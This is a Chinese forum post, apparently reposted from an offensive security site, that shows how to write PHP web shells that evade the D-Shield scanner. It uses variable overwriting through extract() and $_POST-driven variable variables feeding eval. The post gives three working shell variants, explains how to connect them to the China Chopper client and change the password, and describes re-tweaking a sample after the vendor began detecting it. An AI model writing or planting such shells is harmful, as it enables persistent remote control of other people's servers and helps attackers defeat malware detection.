变量覆盖过d盾思路
2020-03-29 14:07:33 Author: forum.90sec.com(查看原文) 阅读量:274 收藏

关于extract函数之前一篇文章CTF学习笔记中已经介绍过了,昨晚上突然想到用这个变量覆盖来绕过d盾我自个觉得我脑洞真大hhhhh.

d盾杀马不杀执行函数,主要杀带参,举几个例子 eval("phpinfo()"); 你把eval内容写死了,d盾就不报,所以我大概思路就是用eval执行一个已经被定义了的变量,这个变量的内容是安全的,然后用extract覆盖掉变量,最终eval执行的还是我们传入的内容,但是d盾只认为他执行的之前那个被定义了的变量.

<?php

$array = array(

2 => $_POST,

);

​

$a = 'a';

$b = 0;

extract($array[2]);

​

eval($a.$b);

?>

最开始只定义一个变量,然后覆盖,d盾一直给我报等级一,可疑eval可疑assert

2019-08-20T11:01:54.png
2019-08-20T11:01:54.png

咱再加个变量,改成上面那样,就不可疑了,嘿嘿

2019-08-20T11:02:51.png
2019-08-20T11:02:51.png

关于菜刀链接的问题,这个很简单

2019-08-20T11:03:51.png
2019-08-20T11:03:51.png

自己要改密码的话改变量名就好了.

过waf原理主要是变量覆盖,但是咱不止extract这一中覆盖方式, For example :

<?php

$a = 'a';

$b = 'b';

$c = null;

foreach ($_POST as $key => $value){

${$key} = $value;

}

eval($a.$b.$c);//这里把eval换成assert会报等级1...emmmm

​

?>
2019-08-20T18:02:42.png
2019-08-20T18:02:42.png

这些变量覆盖的知识都是在CTF中学的,实战没用上在这用上了2333333

现在拿d盾一扫发现前面那个马被提交样本了,直接给我报五级已知后门,不过我改了一下又能用了

<?php

$array = array(

2 => $_POST,

);

​

$a = 'a';

$b = 0;

$c = null;

extract($array[2]);

​

eval($a.$b.$c);

?>

文章来源: https://forum.90sec.com/t/topic/926/1
如有侵权请联系:admin#unsafe.sh